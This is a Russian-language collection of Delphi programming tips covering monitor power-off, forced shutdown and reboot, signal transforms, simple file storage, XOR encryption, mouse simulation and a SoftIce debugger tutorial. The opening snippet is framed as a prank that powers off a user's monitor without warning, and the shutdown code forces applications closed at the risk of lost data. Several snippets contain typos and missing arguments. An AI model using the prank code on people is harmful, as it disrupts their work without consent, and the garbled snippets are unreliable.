Статьи по Delphi (016)…
Вырубить монитор.

| Сидят программисты за компами, заходит начальник: - Почему мониторы грязные? - Да чем мы их только не чистили, даже спиртом все равно не помогает. - А вы их Кометом, говорят он еще и вирусы убивает. |
Давайте прикольнёмся над пользователем. Допустим выведем внезапно сообщение, типа... "Уже поздно. Будь послушным мальчиком. Туши свет и вали спать!" и... вырубим монитор...(включить его чудилка уже не сможет)...
procedure TForm1.Button3Click(Sender: TObject);
begin
MessageDlg('Уже поздно. Будь послушным мальчиком. '+
'Туши свет и вали спать!', mtInformatoion, [mbOk], 0);
SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end;
|
Для того, чтобы программно включить монитор можете использовать следующий код:
procedure TForm1.Button3Click(Sender: TObject); begin SendMessage(Application.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, -1); end; |
Вырубить монитор 2.
| Во рожа! Попеняю монитору... |
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, 0); |
SendMessage(HWND_BROADCAST,WM_SYSCOMMAND, -1); |
Выключить или перезагрузить компьютер.
| Меломана, алкоголика и программера спросили, что бы те делали, если бы они вдруг проснулись в 80-м году... Меломан пошел бы спасать Джона Леннона. Алкоголик бы упился дешевой водки. А программер бы повесился... Почему? А что, опять за ЕС садиться? |
Выключить монитор - это классно, но можно сделать ещё круче - программно завершить работу компьютера. Выглядеть это будет примерно так, с использованием различных режимов выключения:
ExitWindowsEx(EWX_LOGOFF or ewx_force,0); |
Завершает работу всех запущенных в системе процессов, сохраняя данные приложения, вызвавшего эту функцию.
ExitWindowsEx(EWX_SHUTDOWN or ewx_force,0); |
Останавливает работу системы в безопасный момент времени. Все буферы очищаются с сохранением данных на диске, все процессы останавливаются.
ExitWindowsEx(EWX_REBOOT or ewx_force,0); |
Перезагрузка системы.
ExitWindowsEx(EWX_FORCE or ewx_force,0); |
Завершает работу всех запущенных в системе приложений, не посылая им сообщения WM_QUERYENDSESSION и WM_ENDSESSIO. Это может вызвать потерю не сохраненных данных.
ExitWindowsEx(EWX_POWEROFF or ewx_force,0); |
Завершает работу компьютера с выключением питания, если система поддерживает автоуправление питанием.
ExitWindowsEx(EWX_FORCEIFHUNG or ewx_force,0); |
Ещё вариант перезагрузки:
mov al,0F0h out 64h,al |
Как выключить Win2000.
| Автор: Prankster |
| Один другому показывает какой он крутой комп купил. И процессор охрененный и памяти вагон, тивитюнер, сканер, принтер, сидюк, ... , Windows 2000 :)) Включает, а винды ему: - Внимание сейчас попытаюсь со всей этой х....й загрузиться !!! |
Известно, что с помощью стандартных функций Windows 2000 не вырубишь. Сегодня мы напишем прогу на WinApi, выключающую W2k, и занимающую всего 10 Кб! Создай обычный текстовый документ, открой его любым редактором, и пиши туда такую хрень:
program reboot;
uses
Windows, messages;
procedure RebootSystem;
var
handle_: THandle;
n: DWORD;
luid: TLargeInteger;
priv: TOKEN_PRIVILEGES;
ver: TOSVERSIONINFO;
begin
ver.dwOSVersionInfoSize := Sizeof(ver);
GetVersionEx(ver);
if ver.dwPlatformId=VER_PLATFORM_WIN32_NT then
begin
if OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES, handle_) then
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege', luid) then
begin
priv.PrivilegeCount := 1;
priv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
priv.Privileges[0].Luid := luid;
AdjustTokenPrivileges(handle_, false, priv, 0, nil, n);
end
else
writeln('Ошибка')
else
writeln('Ошибка ');
end
else
writeln('Ошибка ');
if not ExitWindowsEx(EWX_POWEROFF,1) then
writeln('Ошибка');
end;
begin
RebootSystem;
end.
|
Сохрани этот файл под именем Reboot.dpr, открой из Delphi, и компилируй!
Как выключить Win2000 2.
procedure NTShutdown;
var
TokenHandle: Cardinal;
RetLength: Cardinal;
TP: TTokenPrivileges;
begin
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES
or TOKEN_QUERY, TokenHandle);
if LookupPrivilegeValue(nil, 'SeShutdownPrivilege',
TP.Privileges[0].Luid) then
begin
TP.PrivilegeCount := 1;
TP.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
RetLength := 0;
if AdjustTokenPrivileges(TokenHandle, FALSE, TP, 0, nil, RetLength) then
begin
if not SetProcessShutdownParameters($4FF, SHUTDOWN_NORETRY) then
begin
MessageBox(0, 'Shutdown failed', nil, MB_OK or MB_ICONSTOP);
end
else
begin
ExitWindowsEx(EWX_FORCE or EWX_SHUTDOWN, 0);
end;
exit;
end;
end;
MessageBox(0, 'Access denied', nil, MB_OK or MB_ICONSTOP);
end;
|
Преобразование сигнала в спекр и обратно (методы Хартли, Фурье и классический).
Автор: Denis Furman.
{$A+,B-,C+,D+,E-,F-,G+,H+,I+,J+,K-,L+,M-,N+,O-,P+,Q-,R-,S-,T-,U-,V+,W-,X+,Y+
,Z1}
{$MINSTACKSIZE $00004000}
{$MAXSTACKSIZE $00100000}
{$IMAGEBASE $00400000}
{$APPTYPE GUI}
unit Main;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Buttons, ExtCtrls, ComCtrls, Menus;
type
TfmMain = class(TForm)
MainMenu1: TMainMenu;
N1: TMenuItem;
N2: TMenuItem;
StatusBar1: TStatusBar;
N3: TMenuItem;
imgInfo: TImage;
Panel1: TPanel;
btnStart: TSpeedButton;
procedure btnStartClick(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
end;
var
fmMain: TfmMain;
implementation
uses PFiles;
{$R *.DFM}
function Power2(lPower: Byte): LongInt;
begin
Result := 1 shl lPower;
end;
procedure ClassicDirect(var aSignal, aSpR, aSpI: array of Double; N:
LongInt);
var
lSrch: LongInt;
var
lGarm: LongInt;
var
dSumR: Double;
var
dSumI: Double;
begin
for lGarm := 0 to N div 2 - 1 do
begin
dSumR := 0;
dSumI := 0;
for lSrch := 0 to N - 1 do
begin
dSumR := dSumR + aSignal[lSrch] * Cos(lGarm * lSrch / N * 2 * PI);
dSumI := dSumI + aSignal[lSrch] * Sin(lGarm * lSrch / N * 2 * PI);
end;
aSpR[lGarm] := dSumR;
aSpI[lGarm] := dSumI;
end;
end;
procedure ClassicInverce(var aSpR, aSpI, aSignal: array of Double; N:
LongInt);
var
lSrch: LongInt;
var
lGarm: LongInt;
var
dSum: Double;
begin
for lSrch := 0 to N - 1 do
begin
dSum := 0;
for lGarm := 0 to N div 2 - 1 do
dSum := dSum
+ aSpR[lGarm] * Cos(lSrch * lGarm * 2 * Pi / N)
+ aSpI[lGarm] * Sin(lSrch * lGarm * 2 * Pi / N);
aSignal[lSrch] := dSum * 2;
end;
end;
function InvertBits(BF, DataSize, Power: Word): Word;
var
BR: Word;
var
NN: Word;
var
L: Word;
begin
br := 0;
nn := DataSize;
for l := 1 to Power do
begin
NN := NN div 2;
if (BF >= NN) then
begin
BR := BR + Power2(l - 1);
BF := BF - NN
end;
end;
InvertBits := BR;
end;
procedure FourierDirect(var RealData, VirtData, ResultR, ResultV: array of
Double; DataSize: LongInt);
var
A1: Real;
var
A2: Real;
var
B1: Real;
var
B2: Real;
var
D2: Word;
var
C2: Word;
var
C1: Word;
var
D1: Word;
var
I: Word;
var
J: Word;
var
K: Word;
var
Cosin: Real;
var
Sinus: Real;
var
wIndex: Word;
var
Power: Word;
begin
C1 := DataSize shr 1;
C2 := 1;
for Power := 0 to 15 //hope it will be faster then
round(ln(DataSize) / ln(2))
do
if Power2(Power) = DataSize then
Break;
for I := 1 to Power do
begin
D1 := 0;
D2 := C1;
for J := 1 to C2 do
begin
wIndex := InvertBits(D1 div C1, DataSize, Power);
Cosin := +(Cos((2 * Pi / DataSize) * wIndex));
Sinus := -(Sin((2 * Pi / DataSize) * wIndex));
for K := D1 to D2 - 1 do
begin
A1 := RealData[K];
A2 := VirtData[K];
B1 := ((Cosin * RealData[K + C1] - Sinus * VirtData[K + C1]));
B2 := ((Sinus * RealData[K + C1] + Cosin * VirtData[K + C1]));
RealData[K] := A1 + B1;
VirtData[K] := A2 + B2;
RealData[K + C1] := A1 - B1;
VirtData[K + C1] := A2 - B2;
end;
Inc(D1, C1 * 2);
Inc(D2, C1 * 2);
end;
C1 := C1 div 2;
C2 := C2 * 2;
end;
for I := 0 to DataSize div 2 - 1 do
begin
ResultR[I] := +RealData[InvertBits(I, DataSize, Power)];
ResultV[I] := -VirtData[InvertBits(I, DataSize, Power)];
end;
end;
procedure Hartley(iSize: LongInt; var aData: array of Double);
type
taDouble = array[0..MaxLongInt div SizeOf(Double) - 1] of Double;
var
prFI, prFN, prGI: ^taDouble;
var
rCos, rSin: Double;
var
rA, rB, rTemp: Double;
var
rC1, rC2, rC3, rC4: Double;
var
rS1, rS2, rS3, rS4: Double;
var
rF0, rF1, rF2, rF3: Double;
var
rG0, rG1, rG2, rG3: Double;
var
iK1, iK2, iK3, iK4: LongInt;
var
iSrch, iK, iKX: LongInt;
begin
iK2 := 0;
for iK1 := 1 to iSize - 1 do
begin
iK := iSize shr 1;
repeat
iK2 := iK2 xor iK;
if (iK2 and iK) <> 0 then
Break;
iK := iK shr 1;
until False;
if iK1 > iK2 then
begin
rTemp := aData[iK1];
aData[iK1] := aData[iK2];
aData[iK2] := rTemp;
end;
end;
iK := 0;
while (1 shl iK) < iSize do
Inc(iK);
iK := iK and 1;
if iK = 0 then
begin
prFI := @aData;
prFN := @aData;
prFN := @prFN[iSize];
while Word(prFI) < Word(prFN) do
begin
rF1 := prFI^[0] - prFI^[1];
rF0 := prFI^[0] + prFI^[1];
rF3 := prFI^[2] - prFI^[3];
rF2 := prFI^[2] + prFI^[3];
prFI^[2] := rF0 - rF2;
prFI^[0] := rF0 + rF2;
prFI^[3] := rF1 - rF3;
prFI^[1] := rF1 + rF3;
prFI := @prFI[4];
end;
end
else
begin
prFI := @aData;
prFN := @aData;
prFN := @prFN[iSize];
prGI := prFI;
prGI := @prGI[1];
while Word(prFI) < Word(prFN) do
begin
rC1 := prFI^[0] - prGI^[0];
rS1 := prFI^[0] + prGI^[0];
rC2 := prFI^[2] - prGI^[2];
rS2 := prFI^[2] + prGI^[2];
rC3 := prFI^[4] - prGI^[4];
rS3 := prFI^[4] + prGI^[4];
rC4 := prFI^[6] - prGI^[6];
rS4 := prFI^[6] + prGI^[6];
rF1 := rS1 - rS2;
rF0 := rS1 + rS2;
rG1 := rC1 - rC2;
rG0 := rC1 + rC2;
rF3 := rS3 - rS4;
rF2 := rS3 + rS4;
rG3 := Sqrt(2) * rC4;
rG2 := Sqrt(2) * rC3;
prFI^[4] := rF0 - rF2;
prFI^[0] := rF0 + rF2;
prFI^[6] := rF1 - rF3;
prFI^[2] := rF1 + rF3;
prGI^[4] := rG0 - rG2;
prGI^[0] := rG0 + rG2;
prGI^[6] := rG1 - rG3;
prGI^[2] := rG1 + rG3;
prFI := @prFI[8];
prGI := @prGI[8];
end;
end;
if iSize < 16 then
Exit;
repeat
Inc(iK, 2);
iK1 := 1 shl iK;
iK2 := iK1 shl 1;
iK4 := iK2 shl 1;
iK3 := iK2 + iK1;
iKX := iK1 shr 1;
prFI := @aData;
prGI := prFI;
prGI := @prGI[iKX];
prFN := @aData;
prFN := @prFN[iSize];
repeat
rF1 := prFI^[000] - prFI^[iK1];
rF0 := prFI^[000] + prFI^[iK1];
rF3 := prFI^[iK2] - prFI^[iK3];
rF2 := prFI^[iK2] + prFI^[iK3];
prFI^[iK2] := rF0 - rF2;
prFI^[000] := rF0 + rF2;
prFI^[iK3] := rF1 - rF3;
prFI^[iK1] := rF1 + rF3;
rG1 := prGI^[0] - prGI^[iK1];
rG0 := prGI^[0] + prGI^[iK1];
rG3 := Sqrt(2) * prGI^[iK3];
rG2 := Sqrt(2) * prGI^[iK2];
prGI^[iK2] := rG0 - rG2;
prGI^[000] := rG0 + rG2;
prGI^[iK3] := rG1 - rG3;
prGI^[iK1] := rG1 + rG3;
prGI := @prGI[iK4];
prFI := @prFI[iK4];
until not (Word(prFI) < Word(prFN));
rCos := Cos(Pi / 2 / Power2(iK));
rSin := Sin(Pi / 2 / Power2(iK));
rC1 := 1;
rS1 := 0;
for iSrch := 1 to iKX - 1 do
begin
rTemp := rC1;
rC1 := (rTemp * rCos - rS1 * rSin);
rS1 := (rTemp * rSin + rS1 * rCos);
rC2 := (rC1 * rC1 - rS1 * rS1);
rS2 := (2 * (rC1 * rS1));
prFN := @aData;
prFN := @prFN[iSize];
prFI := @aData;
prFI := @prFI[iSrch];
prGI := @aData;
prGI := @prGI[iK1 - iSrch];
repeat
rB := (rS2 * prFI^[iK1] - rC2 * prGI^[iK1]);
rA := (rC2 * prFI^[iK1] + rS2 * prGI^[iK1]);
rF1 := prFI^[0] - rA;
rF0 := prFI^[0] + rA;
rG1 := prGI^[0] - rB;
rG0 := prGI^[0] + rB;
rB := (rS2 * prFI^[iK3] - rC2 * prGI^[iK3]);
rA := (rC2 * prFI^[iK3] + rS2 * prGI^[iK3]);
rF3 := prFI^[iK2] - rA;
rF2 := prFI^[iK2] + rA;
rG3 := prGI^[iK2] - rB;
rG2 := prGI^[iK2] + rB;
rB := (rS1 * rF2 - rC1 * rG3);
rA := (rC1 * rF2 + rS1 * rG3);
prFI^[iK2] := rF0 - rA;
prFI^[0] := rF0 + rA;
prGI^[iK3] := rG1 - rB;
prGI^[iK1] := rG1 + rB;
rB := (rC1 * rG2 - rS1 * rF3);
rA := (rS1 * rG2 + rC1 * rF3);
prGI^[iK2] := rG0 - rA;
prGI^[0] := rG0 + rA;
prFI^[iK3] := rF1 - rB;
prFI^[iK1] := rF1 + rB;
prGI := @prGI[iK4];
prFI := @prFI[iK4];
until not (LongInt(prFI) < LongInt(prFN));
end;
until not (iK4 < iSize);
end;
procedure HartleyDirect(
var aData: array of Double;
iSize: LongInt);
var
rA, rB: Double;
var
iI, iJ, iK: LongInt;
begin
Hartley(iSize, aData);
iJ := iSize - 1;
iK := iSize div 2;
for iI := 1 to iK - 1 do
begin
rA := aData[ii];
rB := aData[ij];
aData[iJ] := (rA - rB) / 2;
aData[iI] := (rA + rB) / 2;
Dec(iJ);
end;
end;
procedure HartleyInverce(
var aData: array of Double;
iSize: LongInt);
var
rA, rB: Double;
var
iI, iJ, iK: LongInt;
begin
iJ := iSize - 1;
iK := iSize div 2;
for iI := 1 to iK - 1 do
begin
rA := aData[iI];
rB := aData[iJ];
aData[iJ] := rA - rB;
aData[iI] := rA + rB;
Dec(iJ);
end;
Hartley(iSize, aData);
end;
//not tested
procedure HartleyDirectComplex(real, imag: array of Double; n: LongInt);
var
a, b, c, d: double;
q, r, s, t: double;
i, j, k: LongInt;
begin
j := n - 1;
k := n div 2;
for i := 1 to k - 1 do
begin
a := real[i];
b := real[j];
q := a + b;
r := a - b;
c := imag[i];
d := imag[j];
s := c + d;
t := c - d;
real[i] := (q + t) * 0.5;
real[j] := (q - t) * 0.5;
imag[i] := (s - r) * 0.5;
imag[j] := (s + r) * 0.5;
dec(j);
end;
Hartley(N, Real);
Hartley(N, Imag);
end;
//not tested
procedure HartleyInverceComplex(real, imag: array of Double; N: LongInt);
var
a, b, c, d: double;
q, r, s, t: double;
i, j, k: longInt;
begin
Hartley(N, real);
Hartley(N, imag);
j := n - 1;
k := n div 2;
for i := 1 to k - 1 do
begin
a := real[i];
b := real[j];
q := a + b;
r := a - b;
c := imag[i];
d := imag[j];
s := c + d;
t := c - d;
imag[i] := (s + r) * 0.5;
imag[j] := (s - r) * 0.5;
real[i] := (q - t) * 0.5;
real[j] := (q + t) * 0.5;
dec(j);
end;
end;
procedure DrawSignal(var aSignal: array of Double; N, lColor: LongInt);
var
lSrch: LongInt;
var
lHalfHeight: LongInt;
begin
with fmMain do
begin
lHalfHeight := imgInfo.Height div 2;
imgInfo.Canvas.MoveTo(0, lHalfHeight);
imgInfo.Canvas.Pen.Color := lColor;
for lSrch := 0 to N - 1 do
begin
imgInfo.Canvas.LineTo(lSrch, Round(aSignal[lSrch]) + lHalfHeight);
end;
imgInfo.Repaint;
end;
end;
procedure DrawSpector(var aSpR, aSpI: array of Double; N, lColR, lColI:
LongInt);
var
lSrch: LongInt;
var
lHalfHeight: LongInt;
begin
with fmMain do
begin
lHalfHeight := imgInfo.Height div 2;
for lSrch := 0 to N div 2 do
begin
imgInfo.Canvas.Pixels[lSrch, Round(aSpR[lSrch] / N) + lHalfHeight] :=
lColR;
imgInfo.Canvas.Pixels[lSrch + N div 2, Round(aSpI[lSrch] / N) +
lHalfHeight] := lColI;
end;
imgInfo.Repaint;
end;
end;
const
N = 512;
var
aSignalR: array[0..N - 1] of Double; //
var
aSignalI: array[0..N - 1] of Double; //
var
aSpR, aSpI: array[0..N div 2 - 1] of Double; //
var
lFH: LongInt;
procedure TfmMain.btnStartClick(Sender: TObject);
const
Epsilon = 0.00001;
var
lSrch: LongInt;
var
aBuff: array[0..N - 1] of ShortInt;
begin
if lFH > 0 then
begin
// Repeat
if F.Read(lFH, @aBuff, N) <> N then
begin
Exit;
end;
for lSrch := 0 to N - 1 do
begin
aSignalR[lSrch] := ShortInt(aBuff[lSrch] + $80);
aSignalI[lSrch] := 0;
end;
imgInfo.Canvas.Rectangle(0, 0, imgInfo.Width, imgInfo.Height);
DrawSignal(aSignalR, N, $D0D0D0);
// ClassicDirect(aSignalR, aSpR, aSpI, N); //result in aSpR & aSpI,
aSignal unchanged
// FourierDirect(aSignalR, aSignalI, aSpR, aSpI, N); //result in aSpR &
aSpI, aSiggnalR & aSignalI modified
HartleyDirect(aSignalR, N); //result in source aSignal ;-)
DrawSpector(aSignalR, aSignalR[N div 2 - 1], N, $80, $8000);
DrawSpector(aSpR, aSpI, N, $80, $8000);
{ for lSrch := 0 to N div 2 -1 do begin //comparing classic & Hartley
if (Abs(aSpR[lSrch] - aSignal[lSrch]) > Epsilon)
or ((lSrch > 0) And (Abs(aSpI[lSrch] - aSignal[N - lSrch]) > Epsilon))
then MessageDlg('Error comparing',mtError,[mbOK],-1);
end;}
HartleyInverce(aSignalR, N); //to restore original signal with
HartleyDirect
// ClassicInverce(aSpR, aSpI, aSignalR, N); //to restore original
signal with ClassicDirect or FourierDirect
for lSrch := 0 to N - 1 do
aSignalR[lSrch] := aSignalR[lSrch] / N; //scaling
DrawSignal(aSignalR, N, $D00000);
Application.ProcessMessages;
// Until False;
end;
end;
procedure TfmMain.FormCreate(Sender: TObject);
begin
lFH := F.Open('input.pcm', ForRead);
end;
procedure TfmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
F.Close(lFH);
end;
end.
|
Простой расчет контрольной суммы.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
Example of calculating a simple checksum.
Beispiel, wie eine einfache Checksumme berechnet werden kann.
}
function CalcStrChecksum(s: string; zerobased: Boolean): Longint;
var
i: integer;
L: integer;
begin
Result := 0;
l := Length(s);
if l > 0 then
begin
for i := 1 to l do
if zerobased then
Inc(Result, Ord(s[i]) - 65)
else
Inc(Result, Ord(s[i]));
end;
end;
Простая база данных (запись в файл).
Следующая программа ведет простую базу данных. При каждом ее запуске на экране появляется диалоговое окно, в поля которого пользователь может ввести дату и температуру воздуха.
unit pogoda_;
interface
uses
Windows, Messages, SysUtils, Variants, Classes,
Graphics, Controls, Forms, Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Edit1: TEdit; // дата
Edit2: TEdit; // температура
Button1: TButton; // кнопка Добавить
Label1: TLabe1;
Label2: TLabe1;
procedure FormActivate(Sender: TObject);
procedure ButtonlClick(Sender: TObject);
procedure FormClose(Sender: TObject;
var Action: TCloseAction);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
const
DBNAME = 'a:\pogoda. db';
var
db: TextFile; // файл — база данных
procedure TForm1.FormActivate(Sender: TObject);
begin
AssignFile(db, DBNAME);
{$I-}
Append(db);
if IOResult = 0 then
begin
Edit1.Text := DateToStr(Date); // получить текущую дату
Edit2.SetFocus; // курсор в поле Edit2
end
else
begin
Rewrite(db);
if IOResult <> 0 then
begin
// сделать недоступными поля ввода
// и командную кнопку
Edit1.Enabled := False;
Edit2.Enabled := False;
Buttonl.Enabled := False;
ShowMessage('Ошибка создания ' + DBNAME);
end;
end;
end;
// щелчок на кнопке Добавить
procedure TForml.Button1Click(Sender: TObject);
begin
if (Length(edit1.text) = 0) or (Length(edit2.text) = 0) then
ShowMessage('Ошибка ввода данных.'
+ #13 + 'Bce поля должны быть заполнены.')
else
writeln(db, editl.text, ' ', edit2.text);
end;
// Событие OnClose возникает при закрытии формы
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
CloseFile(db); // закрыть файл БД
end;
end.
Файл базы данных открывает процедура FormActivate, которая обрабатывает событие onActivate. Событие OnActivate возникает в момент активизации формы, поэтому процедура запускается автоматически, при активизации формы приложения. Если операция открытия файла завершается успешно, то в поле Edit1 записывается текущая дата. Информация о текущей дате возвращает функция Date. Для преобразования возвращаемого функцией Date значения (числа типа Double) в удобную для восприятия форму используется функция Dateiostr. После записи даты в поле Editi процедура обработки события onActivate с применением метода setFocus устанавливает курсор в поле ввода температуры. Если в процессе открытия или создания нового файла возникает ошибка, то процедура делает недоступной кнопку Добавить и выводит информационное сообщение.
Процедура TForm1.Button1Click (процедура обработки события onclick) запускается нажатием кнопки Добавить (Button1). В результате введенная информация записывается в базу данных — файл pogoda.db. Перед выполнением записи программа проверяет, все ли поля формы заполнены, и, если не все, то выводит информационное сообщение.
В результате работы процедуры в конец файла pogoda.db будет добавлена строка, содержащая дату (число, месяц, год) и температуру.
В данной программе используется инструкция writein, а не write, для того чтобы данные за каждый день располагались в базе данных на отдельной строке.
Обратите внимание, что список вывода инструкции writein состоит из трех элементов. После вывода в файл даты (Edit1.text) в файл записывается пробел, а затем— температура (edit2.txt). Если температуру записать в файл сразу после даты, то числа, соответствующие году и температуре, сольются в одну последовательность цифр.
Закрывает базу данных процедура TFormi.Formciose, которая обрабатывает событие enclose, возникающее при закрытии формы приложения.
Простой пример DLL.
Автор: Steve Schafer
library MyDll;
uses Windows;
function SomeFunc(I: Integer): Integer; stdcall;
begin
if Odd(I) then
Result := 3 * I + 1
else
Result := I div 2;
end;
exports
SomeFunc;
begin
end.
|
И вот модуль импорта, который вы можете включить в любой проект, которому необходим доступ к функциям DLL:
unit MyDllImport; interface uses Windows; function SomeFunc(I: Integer): Integer; stdcall; implementation function SomeFunc; external 'mydll.dll'; end. |
Простое число.
unit simple_;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;
type
TForm1 = class(TForm)
Button1: TButton;
Label1: TLabel;
Edit1: TEdit;
Label2: TLabel;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.Button1Click(Sender: TObject);
var
n: integer; // проверяемое число
d: integer; // делитель
r: integer; // остаток от деления n на d
begin
n := StrToInt(Edit1.text);
d := 2; // сначала будем делить на два
repeat
r := n mod d;
if r <> 0 {// n не разделилось нацело на d} then
d := d + 1;
until r = 0; // повторять пока не найдено число на n делится без остатка
label2.caption := Edit1.text;
if d = n then
label2.caption := label2.caption + ' - простое число.'
else
label2.caption := label2.caption + ' - обычное число.';
end;
end.
Простой пример XOR шифрования.
Автор: Igor N. SemenushkinВот ужасно простой пример XOR шифрования - работает без глюков.
var
key, text, longkey, result: string;
i: integer;
toto, c: char;
begin
for i := 0 to (length(text) div length(key)) do
longkey := longkey + key;
for i := 1 to length(text) do
begin
toto := chr((ord(text[i]) xor ord(longkey[i]))); // XOR алгоритм
result := result + toto;
end;
end;
|
Симулировать щелчок мышкой.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
// Set the mouse cursor to position x,y: // Maus an Position x,y setzen: SetCursorPos(x, y); // Simulate the left mouse button down // Linke Maustaste simulieren mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); // Simulate the right mouse button down // Rechte Maustaste simulieren mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); // Simulate a double click // Einen Doppelklick simulieren mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); GetDoubleClickTime; mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); // Simulate a double click on a panel // Einen Doppelklick auf einen Panel simulieren SendMessage(Panel1.Handle, WM_LBUTTONDBLCLK, 10, 10)
Создать растягиваемую без бордюра форму.
{
With this code you can create none border style (BorderStyle = bsNone)
but sizeable windows (forms)
First you must set BorderStyle := bsNone of your Form in Object Browser.
There is your small but forced code;
}
type
TForm1 = class(TForm)
private
{ Private declarations }
public
{ Public declarations }
procedure CreateParams(var Params: TCreateParams); override;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.Style := (Params.Style or WS_THICKFRAME);
end;
|
Величина SizeOf.
Автор: Dennis PassmoreВ Delphi 2.0 при использовании функции sizeof для моей записи:
f_format = record format_name : string[8]; file_size : smallint; fields : smallint; end; |
Sizeof(f_format) возвращает 14 ; Почему это не возвращает 13 ??????
Вам необходимо выключить опцию компилятора 'the Align Record Fields' (выравнивание полей записи).
SoftIce - первые шаги.
Оформил: DeeCo Автор: http://www.cracklab.narod.ru
В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip, архив занимает 109 Кб. 1. Загрузка отлаживаемой программы. Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы. Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа "An error occured during symbol translation/load", значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером. 2. Управление SоftIсе'ом. Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд - Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно. 2.1 Управление с помощью мышки: Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows. Изменение размера окна - подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет. Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам). Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам). Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте. Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен). Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc. Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится. Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет. Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды: Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором. Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена Copy&Paste - копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд. Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D). Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся 